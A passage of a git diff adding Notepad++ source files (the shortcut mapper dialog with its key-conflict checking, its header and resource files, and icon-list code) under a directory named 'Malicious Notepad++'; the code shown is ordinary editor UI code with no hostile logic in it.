_lastCursorRow[_currentState] = _babygrid.getSelectedRow(); + fillOutBabyGrid(); + + isModified = true; + + //Notify current Accelerator class to update everything + nppParam->getAccelerator()->updateShortcuts(); + nppParam->setShortcutDirty(); + } + break; + } + + case STATE_MACRO: + { + //Get MacroShortcut corresponding to row + vector & shortcuts = nppParam->getMacroList(); + MacroShortcut msc = shortcuts[row - 1], prevmsc = shortcuts[row - 1]; + msc.init(_hInst, _hSelf); + if (msc.doDialog() != -1 && prevmsc != msc) + { + //shortcut was altered + shortcuts[row - 1] = msc; + + //save the current view + _lastHomeRow[_currentState] = _babygrid.getHomeRow(); + _lastCursorRow[_currentState] = _babygrid.getSelectedRow(); + fillOutBabyGrid(); + + isModified = true; + + //Notify current Accelerator class to update everything + nppParam->getAccelerator()->updateShortcuts(); + nppParam->setShortcutDirty(); + } + break; + } + + case STATE_USER: + { + //Get UserCommand corresponding to row + vector & shortcuts = nppParam->getUserCommandList(); + UserCommand ucmd = shortcuts[row - 1]; + ucmd.init(_hInst, _hSelf); + UserCommand prevucmd = ucmd; + if (ucmd.doDialog() != -1 && prevucmd != ucmd) + { + //shortcut was altered + shortcuts[row - 1] = ucmd; + + //save the current view + _lastHomeRow[_currentState] = _babygrid.getHomeRow(); + _lastCursorRow[_currentState] = _babygrid.getSelectedRow(); + fillOutBabyGrid(); + + isModified = true; + + //Notify current Accelerator class to update everything + nppParam->getAccelerator()->updateShortcuts(); + nppParam->setShortcutDirty(); + } + break; + } + + case STATE_PLUGIN: + { + //Get PluginCmdShortcut corresponding to row + vector & shortcuts = nppParam->getPluginCommandList(); + PluginCmdShortcut pcsc = shortcuts[row - 1]; + pcsc.init(_hInst, _hSelf); + PluginCmdShortcut prevpcsc = pcsc; + if (pcsc.doDialog() != -1 && prevpcsc != pcsc) + { + //shortcut was altered + nppParam->addPluginModifiedIndex(row-1); + shortcuts[row - 1] = pcsc; + + //save the current view + _lastHomeRow[_currentState] = _babygrid.getHomeRow(); + _lastCursorRow[_currentState] = _babygrid.getSelectedRow(); + fillOutBabyGrid(); + + isModified = true; + + //Notify current Accelerator class to update everything + nppParam->getAccelerator()->updateShortcuts(); + unsigned long cmdID = pcsc.getID(); + ShortcutKey shortcut; + shortcut._isAlt = pcsc.getKeyCombo()._isAlt; + shortcut._isCtrl = pcsc.getKeyCombo()._isCtrl; + shortcut._isShift = pcsc.getKeyCombo()._isShift; + shortcut._key = pcsc.getKeyCombo()._key; + + ::SendMessage(_hParent, NPPM_INTERNAL_PLUGINSHORTCUTMOTIFIED, cmdID, reinterpret_cast(&shortcut)); + nppParam->setShortcutDirty(); + } + break; + } + + case STATE_SCINTILLA: + { + //Get ScintillaKeyMap corresponding to row + vector & shortcuts = nppParam->getScintillaKeyList(); + ScintillaKeyMap skm = shortcuts[row - 1], prevskm = shortcuts[row-1]; + skm.init(_hInst, _hSelf); + if (skm.doDialog() != -1 && prevskm != skm) + { + //shortcut was altered + nppParam->addScintillaModifiedIndex(row-1); + shortcuts[row-1] = skm; + + //save the current view + _lastHomeRow[_currentState] = _babygrid.getHomeRow(); + _lastCursorRow[_currentState] = _babygrid.getSelectedRow(); + fillOutBabyGrid(); + _babygrid.updateView(); + + isModified = true; + + //Notify current Accelerator class to update key + nppParam->getScintillaAccelerator()->updateKeys(); + nppParam->setShortcutDirty(); + } + break; + } + } + if (not isModified) + ::SendMessage(_hSelf, WM_COMMAND, MAKEWPARAM(IDD_BABYGRID_ID1, BGN_ROWCHANGED), row); + return TRUE; + } + + case IDM_BABYGRID_DELETE : + { + if (_babygrid.getNumberRows() < 1) + return TRUE; + + if (::MessageBox(_hSelf, TEXT("Are you sure you want to delete this shortcut?"), TEXT("Are you sure?"), MB_OKCANCEL) == IDOK) + { + NppParameters *nppParam = NppParameters::getInstance(); + const int row = _babygrid.getSelectedRow(); + int shortcutIndex = row-1; + DWORD cmdID = 0; + + // Menu data + int32_t posBase = 0; + size_t nbElem = 0; + HMENU hMenu = NULL; + int modifCmd = IDM_SETTING_SHORTCUT_MAPPER_RUN; + switch(_currentState) + { + case STATE_MENU: + case STATE_PLUGIN: + case STATE_SCINTILLA: + { + return FALSE; //this is bad + } + + case STATE_MACRO: + { + vector & theMacros = nppParam->getMacroList(); + vector::iterator it = theMacros.begin(); + cmdID = theMacros[shortcutIndex].getID(); + theMacros.erase(it + shortcutIndex); + + //save the current view + _lastHomeRow[_currentState] = _babygrid.getHomeRow(); + _lastCursorRow[_currentState] = _babygrid.getSelectedRow(); + + const size_t numberRows = _babygrid.getNumberRows(); + if (_lastHomeRow[_currentState] == numberRows) + --_lastHomeRow[_currentState]; + if (_lastCursorRow[_currentState] == numberRows) + --_lastCursorRow[_currentState]; + + fillOutBabyGrid(); + + // preparing to remove from menu + posBase = 6; + nbElem = theMacros.size(); + HMENU m = reinterpret_cast(::SendMessage(_hParent, NPPM_INTERNAL_GETMENU, 0, 0)); + hMenu = ::GetSubMenu(m, MENUINDEX_MACRO); + modifCmd = IDM_SETTING_SHORTCUT_MAPPER_MACRO; + for (size_t i = shortcutIndex ; i < nbElem ; ++i) //lower the IDs of the remaining items so there are no gaps + { + MacroShortcut ms = theMacros[i]; + ms.setID(ms.getID() - 1); //shift all IDs + theMacros[i] = ms; + } + break; + } + + case STATE_USER: + { + vector & theUserCmds = nppParam->getUserCommandList(); + vector::iterator it = theUserCmds.begin(); + cmdID = theUserCmds[shortcutIndex].getID(); + theUserCmds.erase(it + shortcutIndex); + + //save the current view + _lastHomeRow[_currentState] = _babygrid.getHomeRow(); + _lastCursorRow[_currentState] = _babygrid.getSelectedRow(); + + const size_t numberRows = _babygrid.getNumberRows(); + if (_lastHomeRow[_currentState] == numberRows) + --_lastHomeRow[_currentState]; + if (_lastCursorRow[_currentState] == numberRows) + --_lastCursorRow[_currentState]; + + fillOutBabyGrid(); + + // preparing to remove from menu + posBase = 2; + nbElem = theUserCmds.size(); + HMENU m = reinterpret_cast(::SendMessage(_hParent, NPPM_INTERNAL_GETMENU, 0, 0)); + hMenu = ::GetSubMenu(m, MENUINDEX_RUN); + modifCmd = IDM_SETTING_SHORTCUT_MAPPER_RUN; + for (size_t i = shortcutIndex ; i < nbElem ; ++i) //lower the IDs of the remaining items so there are no gaps + { + UserCommand uc = theUserCmds[i]; + uc.setID(uc.getID() - 1); //shift all IDs + theUserCmds[i] = uc; + } + break; + } + } + + // updateShortcuts() will update all menu item - the menu items will be shifted + nppParam->getAccelerator()->updateShortcuts(); + nppParam->setShortcutDirty(); + + // All menu items are shifted up. So we delete the last item + ::RemoveMenu(hMenu, posBase + static_cast(nbElem), MF_BYPOSITION); + + if (nbElem == 0) + { + ::RemoveMenu(hMenu, modifCmd, MF_BYCOMMAND); + + //remove separator + ::RemoveMenu(hMenu, posBase-1, MF_BYPOSITION); + ::RemoveMenu(hMenu, posBase-1, MF_BYPOSITION); + } + } + return TRUE; + } + + case IDD_BABYGRID_ID1: + { + switch (HIWORD(wParam)) + { + case BGN_CELLDBCLICKED: //a cell was clicked in the properties grid + { + return ::SendMessage(_hSelf, WM_COMMAND, IDM_BABYGRID_MODIFY, LOWORD(lParam)); + } + + case BGN_CELLRCLICKED: //a cell was clicked in the properties grid + { + POINT p; + ::GetCursorPos(&p); + if (!_rightClickMenu.isCreated()) + { + vector itemUnitArray; + itemUnitArray.push_back(MenuItemUnit(IDM_BABYGRID_MODIFY, TEXT("Modify"))); + itemUnitArray.push_back(MenuItemUnit(IDM_BABYGRID_DELETE, TEXT("Delete"))); + itemUnitArray.push_back(MenuItemUnit(IDM_BABYGRID_CLEAR, TEXT("Clear"))); + _rightClickMenu.create(_hSelf, itemUnitArray); + } + + if (_babygrid.getNumberRows() < 1) + { + _rightClickMenu.enableItem(IDM_BABYGRID_MODIFY, false); + _rightClickMenu.enableItem(IDM_BABYGRID_DELETE, false); + _rightClickMenu.enableItem(IDM_BABYGRID_CLEAR, false); + } + else + { + _rightClickMenu.enableItem(IDM_BABYGRID_MODIFY, true); + _rightClickMenu.enableItem(IDM_BABYGRID_DELETE, true); + if (_currentState == STATE_SCINTILLA) + _rightClickMenu.enableItem(IDM_BABYGRID_CLEAR, false); + else + _rightClickMenu.enableItem(IDM_BABYGRID_CLEAR, true); + switch(_currentState) { + case STATE_MACRO: + case STATE_USER: { + _rightClickMenu.enableItem(IDM_BABYGRID_DELETE, true); + break; } + case STATE_MENU: + case STATE_PLUGIN: + case STATE_SCINTILLA: { + _rightClickMenu.enableItem(IDM_BABYGRID_DELETE, false); + break; } + } + } + + _rightClickMenu.display(p); + return TRUE; + } + + case BGN_DELETECELL: //VK_DELETE + { + switch(_currentState) + { + case STATE_MACRO: + case STATE_USER: + return ::SendMessage(_hSelf, WM_COMMAND, IDM_BABYGRID_DELETE, 0); + } + return TRUE; + } + + case BGN_ROWCHANGED: + { + if (_babygrid.getNumberRows() < 1) + return TRUE; + + NppParameters *nppParam = NppParameters::getInstance(); + const size_t currentIndex = LOWORD(lParam) - 1; + generic_string conflictInfo; + + switch (_currentState) + { + case STATE_MENU: + { + vector & vShortcuts = nppParam->getUserShortcuts(); + findKeyConflicts(&conflictInfo, vShortcuts[currentIndex].getKeyCombo(), currentIndex); + break; + } + case STATE_MACRO: + { + vector & vShortcuts = nppParam->getMacroList(); + findKeyConflicts(&conflictInfo, vShortcuts[currentIndex].getKeyCombo(), currentIndex); + break; + } + case STATE_USER: + { + vector & vShortcuts = nppParam->getUserCommandList(); + findKeyConflicts(&conflictInfo, vShortcuts[currentIndex].getKeyCombo(), currentIndex); + break; + } + case STATE_PLUGIN: + { + vector & vShortcuts = nppParam->getPluginCommandList(); + findKeyConflicts(&conflictInfo, vShortcuts[currentIndex].getKeyCombo(), currentIndex); + break; + } + case STATE_SCINTILLA: + { + vector & vShortcuts = nppParam->getScintillaKeyList(); + size_t sciCombos = vShortcuts[currentIndex].getSize(); + for (size_t sciIndex = 0; sciIndex < sciCombos; ++sciIndex) + findKeyConflicts(&conflictInfo, vShortcuts[currentIndex].getKeyComboByIndex(sciIndex), currentIndex); + break; + } + } + + if (conflictInfo.empty()) + ::SendDlgItemMessage(_hSelf, IDC_BABYGRID_INFO, WM_SETTEXT, 0, reinterpret_cast(_defaultInfo.c_str())); + else + ::SendDlgItemMessage(_hSelf, IDC_BABYGRID_INFO, WM_SETTEXT, 0, reinterpret_cast(conflictInfo.c_str())); + + return TRUE; + } + } //switch (HIWORD(wParam)) + } + } //switch (LOWORD(wParam)) + } + default: + return FALSE; + } //switch (message) + return FALSE; +} + +bool ShortcutMapper::findKeyConflicts(__inout_opt generic_string * const keyConflictLocation, + const KeyCombo & itemKeyComboToTest, const size_t & itemIndexToTest) const +{ + if (itemKeyComboToTest._key == NULL) //no key assignment + return false; + + bool retIsConflict = false; //returns true when a conflict is found + NppParameters * nppParam = NppParameters::getInstance(); + + for (size_t gridState = STATE_MENU; gridState <= STATE_SCINTILLA; ++gridState) + { + switch (gridState) + { + case STATE_MENU: + { + vector & vShortcuts = nppParam->getUserShortcuts(); + size_t nbItems = vShortcuts.size(); + for (size_t itemIndex = 0; itemIndex < nbItems; ++itemIndex) + { + if (not vShortcuts[itemIndex].isEnabled()) //no key assignment + continue; + + if ((itemIndex == itemIndexToTest) && (gridState == static_cast(_currentState))) //don't catch oneself + continue; + + if (isConflict(vShortcuts[itemIndex].getKeyCombo(), itemKeyComboToTest)) + { + retIsConflict = true; + if (keyConflictLocation == nullptr) + return retIsConflict; + else + { + if (not keyConflictLocation->empty()) + *keyConflictLocation += TEXT("\r\n"); + *keyConflictLocation += tabNames[gridState]; + *keyConflictLocation += TEXT(" | "); + *keyConflictLocation += numToStr(itemIndex + 1); + *keyConflictLocation += TEXT(" "); + *keyConflictLocation += vShortcuts[itemIndex].getName(); + *keyConflictLocation += TEXT(" ( "); + *keyConflictLocation += vShortcuts[itemIndex].toString(); + *keyConflictLocation += TEXT(" )"); + } + } + } + break; + } //case STATE_MENU + case STATE_MACRO: + { + vector & vShortcuts = nppParam->getMacroList(); + size_t nbItems = vShortcuts.size(); + for (size_t itemIndex = 0; itemIndex < nbItems; ++itemIndex) + { + if (not vShortcuts[itemIndex].isEnabled()) //no key assignment + continue; + + if ((itemIndex == itemIndexToTest) && (gridState == static_cast(_currentState))) //don't catch oneself + continue; + + if (isConflict(vShortcuts[itemIndex].getKeyCombo(), itemKeyComboToTest)) + { + retIsConflict = true; + if (keyConflictLocation == nullptr) + return retIsConflict; + else + { + if (not keyConflictLocation->empty()) + *keyConflictLocation += TEXT("\r\n"); + *keyConflictLocation += tabNames[gridState]; + *keyConflictLocation += TEXT(" | "); + *keyConflictLocation += numToStr(itemIndex + 1); + *keyConflictLocation += TEXT(" "); + *keyConflictLocation += vShortcuts[itemIndex].getName(); + *keyConflictLocation += TEXT(" ( "); + *keyConflictLocation += vShortcuts[itemIndex].toString(); + *keyConflictLocation += TEXT(" )"); + } + } + } + break; + } //case STATE_MACRO + case STATE_USER: + { + vector & vShortcuts = nppParam->getUserCommandList(); + size_t nbItems = vShortcuts.size(); + for (size_t itemIndex = 0; itemIndex < nbItems; ++itemIndex) + { + if (not vShortcuts[itemIndex].isEnabled()) //no key assignment + continue; + + if ((itemIndex == itemIndexToTest) && (gridState == static_cast(_currentState))) //don't catch oneself + continue; + + if (isConflict(vShortcuts[itemIndex].getKeyCombo(), itemKeyComboToTest)) + { + retIsConflict = true; + if (keyConflictLocation == nullptr) + return retIsConflict; + else + { + if (not keyConflictLocation->empty()) + *keyConflictLocation += TEXT("\r\n"); + *keyConflictLocation += tabNames[gridState]; + *keyConflictLocation += TEXT(" | "); + *keyConflictLocation += numToStr(itemIndex + 1); + *keyConflictLocation += TEXT(" "); + *keyConflictLocation += vShortcuts[itemIndex].getName(); + *keyConflictLocation += TEXT(" ( "); + *keyConflictLocation += vShortcuts[itemIndex].toString(); + *keyConflictLocation += TEXT(" )"); + } + } + } + break; + } //case STATE_USER + case STATE_PLUGIN: + { + vector & vShortcuts = nppParam->getPluginCommandList(); + size_t nbItems = vShortcuts.size(); + for (size_t itemIndex = 0; itemIndex < nbItems; ++itemIndex) + { + if (not vShortcuts[itemIndex].isEnabled()) //no key assignment + continue; + + if ((itemIndex == itemIndexToTest) && (gridState == static_cast(_currentState))) //don't catch oneself + continue; + + if (isConflict(vShortcuts[itemIndex].getKeyCombo(), itemKeyComboToTest)) + { + retIsConflict = true; + if (keyConflictLocation == nullptr) + return retIsConflict; + else + { + if (not keyConflictLocation->empty()) + *keyConflictLocation += TEXT("\r\n"); + *keyConflictLocation += tabNames[gridState]; + *keyConflictLocation += TEXT(" | "); + *keyConflictLocation += numToStr(itemIndex + 1); + *keyConflictLocation += TEXT(" "); + *keyConflictLocation += vShortcuts[itemIndex].getName(); + *keyConflictLocation += TEXT(" ( "); + *keyConflictLocation += vShortcuts[itemIndex].toString(); + *keyConflictLocation += TEXT(" )"); + } + } + } + break; + } //case STATE_PLUGIN + case STATE_SCINTILLA: + { + vector & vShortcuts = nppParam->getScintillaKeyList(); + size_t nbItems = vShortcuts.size(); + for (size_t itemIndex = 0; itemIndex < nbItems; ++itemIndex) + { + if (not vShortcuts[itemIndex].isEnabled()) //no key assignment + continue; + + if ((itemIndex == itemIndexToTest) && (gridState == static_cast(_currentState))) //don't catch oneself + continue; + + size_t sciCombos = vShortcuts[itemIndex].getSize(); + for (size_t sciIndex = 0; sciIndex < sciCombos; ++sciIndex) + { + if (isConflict(vShortcuts[itemIndex].getKeyComboByIndex(sciIndex), itemKeyComboToTest)) + { + retIsConflict = true; + if (keyConflictLocation == nullptr) + return retIsConflict; + else + { + if (not keyConflictLocation->empty()) + *keyConflictLocation += TEXT("\r\n"); + *keyConflictLocation += tabNames[gridState]; + *keyConflictLocation += TEXT(" | "); + *keyConflictLocation += numToStr(itemIndex + 1); + if (sciIndex > 0) + *keyConflictLocation += TEXT("* "); + else + *keyConflictLocation += TEXT(" "); + *keyConflictLocation += vShortcuts[itemIndex].getName(); + *keyConflictLocation += TEXT(" ( "); + *keyConflictLocation += vShortcuts[itemIndex].toString(sciIndex); + *keyConflictLocation += TEXT(" )"); + } + } + } + } + break; + } //case STATE_SCINTILLA + } //switch (gridState) + } //for (...) + return retIsConflict; +} diff --git a/Malicious Notepad++/src/WinControls/Grid/ShortcutMapper.h b/Malicious Notepad++/src/WinControls/Grid/ShortcutMapper.h new file mode 100644 index 0000000..3c194ac --- /dev/null +++ b/Malicious Notepad++/src/WinControls/Grid/ShortcutMapper.h @@ -0,0 +1,113 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "BabyGridWrapper.h" +#include "ShortcutMapper_rc.h" +#include "shortcut.h" +#include "ContextMenu.h" + +enum GridState {STATE_MENU, STATE_MACRO, STATE_USER, STATE_PLUGIN, STATE_SCINTILLA}; + +class ShortcutMapper : public StaticDialog { +public: + ShortcutMapper() : _currentState(STATE_MENU), StaticDialog() { + generic_strncpy(tabNames[0], TEXT("Main menu"), maxTabName); + generic_strncpy(tabNames[1], TEXT("Macros"), maxTabName); + generic_strncpy(tabNames[2], TEXT("Run commands"), maxTabName); + generic_strncpy(tabNames[3], TEXT("Plugin commands"), maxTabName); + generic_strncpy(tabNames[4], TEXT("Scintilla commands"), maxTabName); + }; + ~ShortcutMapper() {}; + + void init(HINSTANCE hInst, HWND parent, GridState initState = STATE_MENU) { + Window::init(hInst, parent); + _currentState = initState; + }; + + void destroy() {}; + void doDialog(bool isRTL = false) { + if (isRTL) + { + DLGTEMPLATE *pMyDlgTemplate = NULL; + HGLOBAL hMyDlgTemplate = makeRTLResource(IDD_SHORTCUTMAPPER_DLG, &pMyDlgTemplate); + ::DialogBoxIndirectParam(_hInst, pMyDlgTemplate, _hParent, dlgProc, reinterpret_cast(this)); + ::GlobalFree(hMyDlgTemplate); + } + else + ::DialogBoxParam(_hInst, MAKEINTRESOURCE(IDD_SHORTCUTMAPPER_DLG), _hParent, dlgProc, reinterpret_cast(this)); + }; + void getClientRect(RECT & rc) const; + void translateTab(int index, const TCHAR * newname); + + bool findKeyConflicts(__inout_opt generic_string * const keyConflictLocation, + const KeyCombo & itemKeyCombo, const size_t & itemIndex) const; + +protected : + INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + +private: + static const int maxTabName = 64; + BabyGridWrapper _babygrid; + ContextMenu _rightClickMenu; + + GridState _currentState; + HWND _hTabCtrl = nullptr; + + TCHAR tabNames[5][maxTabName]; + + //save/restore the last view + std::vector _lastHomeRow; + std::vector _lastCursorRow; + + const generic_string _defaultInfo = TEXT("No shortcut conflicts for this item."); + const generic_string _assignInfo = TEXT("No conflicts . . ."); + + std::vector _hGridFonts; + + enum GridFonts : uint_fast8_t + { + GFONT_HEADER, + GFONT_ROWS, + MAX_GRID_FONTS + }; + + void initTabs(); + void initBabyGrid(); + void fillOutBabyGrid(); + + bool isConflict(const KeyCombo & lhs, const KeyCombo & rhs) const + { + return ( (lhs._isCtrl == rhs._isCtrl ) && + (lhs._isAlt == rhs._isAlt ) && + (lhs._isShift == rhs._isShift) && + (lhs._key == rhs._key ) ); + } +}; + diff --git a/Malicious Notepad++/src/WinControls/Grid/ShortcutMapper.rc b/Malicious Notepad++/src/WinControls/Grid/ShortcutMapper.rc new file mode 100644 index 0000000..67a6602 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/Grid/ShortcutMapper.rc @@ -0,0 +1,49 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "ShortcutMapper_rc.h" + +#ifndef IDC_STATIC +#define IDC_STATIC -1 +#endif + +IDD_SHORTCUTMAPPER_DLG DIALOGEX 0, 0, 391, 344 +STYLE DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | + WS_SYSMENU +//EXSTYLE WS_EX_TOOLWINDOW +CAPTION "Shortcut mapper" +FONT 8, TEXT("MS Shell Dlg"), 400, 0, 0x1 +BEGIN + CONTROL "",IDC_BABYGRID_TABBAR,"SysTabControl32",WS_TABSTOP,4,6,384,12 + DEFPUSHBUTTON "Modify",IDM_BABYGRID_MODIFY,118,319,47,14 + DEFPUSHBUTTON "Clear", IDM_BABYGRID_CLEAR,172,319,47,14 + DEFPUSHBUTTON "Delete", IDM_BABYGRID_DELETE, 226, 319, 47, 14 + DEFPUSHBUTTON "Close",IDOK,280,319,47,14 + EDITTEXT IDC_BABYGRID_INFO,4,279,383,29,ES_MULTILINE | ES_AUTOHSCROLL | ES_READONLY | WS_VSCROLL | NOT WS_TABSTOP +END diff --git a/Malicious Notepad++/src/WinControls/Grid/ShortcutMapper_rc.h b/Malicious Notepad++/src/WinControls/Grid/ShortcutMapper_rc.h new file mode 100644 index 0000000..70e418b --- /dev/null +++ b/Malicious Notepad++/src/WinControls/Grid/ShortcutMapper_rc.h @@ -0,0 +1,40 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef SHORTCUTMAPPER_RC_H +#define SHORTCUTMAPPER_RC_H + +#define IDD_SHORTCUTMAPPER_DLG 2600 +#define IDD_BABYGRID_ID1 (IDD_SHORTCUTMAPPER_DLG + 1) +#define IDM_BABYGRID_MODIFY (IDD_SHORTCUTMAPPER_DLG + 2) +#define IDM_BABYGRID_DELETE (IDD_SHORTCUTMAPPER_DLG + 3) +#define IDC_BABYGRID_TABBAR (IDD_SHORTCUTMAPPER_DLG + 4) +#define IDC_BABYGRID_INFO (IDD_SHORTCUTMAPPER_DLG + 5) +#define IDM_BABYGRID_CLEAR (IDD_SHORTCUTMAPPER_DLG + 6) + +#endif// SHORTCUTMAPPER_RC_H diff --git a/Malicious Notepad++/src/WinControls/ImageListSet/ImageListSet.cpp b/Malicious Notepad++/src/WinControls/ImageListSet/ImageListSet.cpp new file mode 100644 index 0000000..0dd309c --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ImageListSet/ImageListSet.cpp @@ -0,0 +1,127 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "ImageListSet.h" + +void IconList::create(HINSTANCE hInst, int iconSize) +{ + InitCommonControls(); + _hInst = hInst; + _iconSize = iconSize; + _hImglst = ImageList_Create(iconSize, iconSize, ILC_COLOR32 | ILC_MASK, 0, nbMax); + if (!_hImglst) + throw std::runtime_error("IconList::create : ImageList_Create() function return null"); +}; + +void IconList::create(int iconSize, HINSTANCE hInst, int *iconIDArray, int iconIDArraySize) +{ + create(hInst, iconSize); + _pIconIDArray = iconIDArray; + _iconIDArraySize = iconIDArraySize; + + for (int i = 0 ; i < iconIDArraySize ; ++i) + addIcon(iconIDArray[i]); +}; + +void IconList::addIcon(int iconID) const +{ + HICON hIcon = ::LoadIcon(_hInst, MAKEINTRESOURCE(iconID)); + if (!hIcon) + throw std::runtime_error("IconList::addIcon : LoadIcon() function return null"); + + ImageList_AddIcon(_hImglst, hIcon); + ::DestroyIcon(hIcon); +}; + +bool IconList::changeIcon(int index, const TCHAR *iconLocation) const +{ + HBITMAP hBmp = (HBITMAP)::LoadImage(_hInst, iconLocation, IMAGE_ICON, _iconSize, _iconSize, LR_LOADFROMFILE | LR_LOADMAP3DCOLORS | LR_LOADTRANSPARENT); + if (!hBmp) + return false; + int i = ImageList_ReplaceIcon(_hImglst, index, (HICON)hBmp); + ImageList_AddMasked(_hImglst, (HBITMAP)hBmp, RGB(255,0,255)); + ::DeleteObject(hBmp); + return (i == index); +} + +void IconList::setIconSize(int size) const +{ + ImageList_SetIconSize(_hImglst, size, size); + for (int i = 0 ; i < _iconIDArraySize ; ++i) + addIcon(_pIconIDArray[i]); +} + +void ToolBarIcons::init(ToolBarButtonUnit *buttonUnitArray, int arraySize) +{ + for (int i = 0 ; i < arraySize ; ++i) + _tbiis.push_back(buttonUnitArray[i]); + _nbCmd = arraySize; +} + +void ToolBarIcons::reInit(int size) +{ + ImageList_SetIconSize(getDefaultLst(), size, size); + ImageList_SetIconSize(getHotLst(), size, size); + ImageList_SetIconSize(getDisableLst(), size, size); + + for (size_t i = 0, len = _tbiis.size(); i < len; ++i) + { + if (_tbiis[i]._defaultIcon != -1) + { + _iconListVector[HLIST_DEFAULT].addIcon(_tbiis[i]._defaultIcon); + _iconListVector[HLIST_HOT].addIcon(_tbiis[i]._hotIcon); + _iconListVector[HLIST_DISABLE].addIcon(_tbiis[i]._grayIcon); + } + } +} + +void ToolBarIcons::create(HINSTANCE hInst, int iconSize) +{ + _iconListVector.push_back(IconList()); + _iconListVector.push_back(IconList()); + _iconListVector.push_back(IconList()); + + _iconListVector[HLIST_DEFAULT].create(hInst, iconSize); + _iconListVector[HLIST_HOT].create(hInst, iconSize); + _iconListVector[HLIST_DISABLE].create(hInst, iconSize); + + reInit(iconSize); +} + +void ToolBarIcons::destroy() +{ + _iconListVector[HLIST_DEFAULT].destroy(); + _iconListVector[HLIST_HOT].destroy(); + _iconListVector[HLIST_DISABLE].destroy(); + //_iconListVector[HLIST_UGLY].destroy(); +} + + + + diff --git a/Malicious Notepad++/src/WinControls/ImageListSet/ImageListSet.h b/Malicious Notepad++/src/WinControls/ImageListSet/ImageListSet.h new file mode 100644 index 0000000..02faf6f --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ImageListSet/ImageListSet.h @@ -0,0 +1,138 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include +#include +#include + +const int nbMax = 45; +#define IDI_SEPARATOR_ICON -1 + +class IconList +{ +public : + IconList() {}; + void create(HINSTANCE hInst, int iconSize); + void 